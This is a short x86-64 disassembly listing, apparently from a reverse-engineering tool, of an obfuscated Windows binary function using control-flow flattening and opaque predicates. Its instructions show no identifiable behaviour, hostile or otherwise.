call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x140025c04
mov eax, 0x559d78c6
jmp 0x140025c04
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0xb5ee369a
cmovne r8d, ebx
test eax, edx
mov eax, r8d
cmove eax, ebx
cmp ecx, 0xa
mov qword [rbp + 0x1e8], r14
cmovge eax, r8d
jmp 0x140025c04
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x140025d2a
xor cl, al
jne 0x140025d2a
jmp 0x140025d28
sub rsp, 0x20
mov rcx, rbp
lea rdx, [rbp - 0x30]
call fcn.140002980
add rsp, 0x20
sub rsp, 0x20
mov rcx, rbp
call fcn.14002a240
add rsp, 0x20
sub rsp, 0x20
mov rcx, rbp
call fcn.14002a5a0
add rsp, 0x20
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov ebx, 0xb5ee369a
mov r14d, 0xa1dae94d
jmp 0x140025d7a
mov eax, 0xe9738f9d
cmp eax, 0xe9738f9d
je 0x140025ebd
cmp eax, 0x8e514f33
jne 0x140025d7a
sub rsp, 0x20
lea rcx, [rbp + 0x138]
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x1b0]
mov eax, 0xc7dc8da9
cmp eax, 0x354e3b8b
jg 0x140025e17
cmp eax, 0xa1dae94d
je 0x140025e50
cmp eax, 0xb5ee369a
je 0x140025e71
cmp eax, 0xc7dc8da9
jne 0x140025dcf
movzx ecx, byte [rbp + 0x190]
movzx eax, byte [rbp + 0x1b0]
mov edx, ecx
xor dl, al
mov edx, 0xb5ee369a
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x140025dcf
cmp eax, 0x354e3b8c
je 0x140025d75
cmp eax, 0x559d78c6
je 0x140025e7b
cmp eax, 0x66202512
jne 0x140025dcf
mov eax, 0x51eaacfe
mov rcx, qword [rbp]
cmp eax, 0x51eaacfe
je 0x140025e49
cmp eax, 0x89bfb55a
jne 0x140025e39
jmp 0x140025e5a
mov eax, 0x89bfb55a
jmp 0x140025e39
mov eax, 0x66202512
jmp 0x140025dcf
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x140025dcf
mov eax, 0x559d78c6
jmp 0x140025dcf
lea rax, [rbp + 0x138]
mov qword [rbp], rax
mov eax, dword [0x1402b5af0]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xb5ee369a
cmove eax, r14d
cmp dword [0x1402b5af4], 0xa
cmovge eax, ebx
setl dl
xor dl, cl
cmovne eax, r14d
jmp 0x140025dcf
mov ecx, dword [0x1402b5ca8]
mov eax, dword [0x1402b5cac]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov edi, dword [rbp - 8]
test ecx, ecx
setne cl
sete dl
cmp eax, 0xa
setge al
setl r8b
xor r8b, dl
jne 0x14001f221
or al, cl
je 0x14001f221
nop dword [rax]
jmp 0x140025f00